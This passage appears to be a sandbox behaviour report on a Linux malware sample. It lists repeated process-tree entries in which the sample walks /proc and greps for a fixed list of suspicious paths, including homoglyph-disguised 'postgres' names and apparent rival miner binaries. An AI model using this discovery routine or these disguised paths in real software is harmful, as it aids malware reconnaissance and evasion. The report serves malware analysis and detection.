  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1262
- /bin/grep
  grep exe
  2⤵
  PID:1265
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1264
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1268
- /bin/grep
  grep exe
  2⤵
  PID:1272
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1271
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1274
- /bin/grep
  grep exe
  2⤵
  PID:1278
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1277
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1281
- /bin/grep
  grep exe
  2⤵
  PID:1284
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1283
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1287
- /bin/grep
  grep exe
  2⤵
  PID:1291
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1290
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1293
- /bin/grep
  grep exe
  2⤵
  PID:1297
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1296
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1300
- /bin/grep
  grep exe
  2⤵
  PID:1303
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1302
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1306
- /bin/grep
  grep exe
  2⤵
  PID:1310
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1309
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1312
- /bin/grep
  grep exe
  2⤵
  PID:1316
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  - Reads runtime system information
  PID:1315
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1319
- /bin/grep
  grep exe
  2⤵
  PID:1322
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1321
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1325
- /bin/grep
  grep exe
  2⤵
  PID:1329
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1328
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1331
- /bin/grep
  grep exe
  2⤵
  PID:1335
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1334
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1338
- /bin/grep
  grep exe
  2⤵
  PID:1341
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1340
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1344
- /bin/grep
  grep exe
  2⤵
  PID:1348
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1347
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1350
- /bin/grep
  grep exe
  2⤵
  PID:1353
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1352
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1355
- /bin/grep
  grep exe
  2⤵
  PID:1358
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1357
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1360
- /bin/grep
  grep exe
  2⤵
  PID:1363
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1362
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1365
- /bin/grep
  grep exe
  2⤵
  PID:1368
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1367
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1370
- /bin/grep
  grep exe
  2⤵
  PID:1373
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1372
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1375
- /bin/grep
  grep exe
  2⤵
  PID:1378
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1377
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1380
- /bin/grep
  grep exe
  2⤵
  PID:1383
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1382
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1385
- /bin/grep
  grep exe
  2⤵
  PID:1388
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1387
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1390
- /bin/grep
  grep exe
  2⤵
  PID:1393
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1392
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1395
- /bin/grep
  grep exe
  2⤵
  PID:1398
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1397
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1400
- /bin/grep
  grep exe
  2⤵
  PID:1403
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1402
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1405
- /bin/grep
  grep exe
  2⤵
  PID:1408
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1407
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1410
- /bin/grep
  grep exe
  2⤵
  PID:1413
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1412
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1415
- /bin/grep
  grep exe
  2⤵
  PID:1418
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1417
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1420
- /bin/grep
  grep exe
  2⤵
  PID:1423
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1422
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1425
- /bin/grep
  grep exe
  2⤵
  PID:1428
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1427
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1430
- /bin/grep
  grep exe
  2⤵
  PID:1433
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1432
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1435
- /bin/grep
  grep exe
  2⤵
  PID:1438
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1437
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1440
- /bin/grep
  grep exe
  2⤵
  PID:1443
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1442
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1445
- /bin/grep
  grep exe
  2⤵
  PID:1448
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1447
- /bin/grep
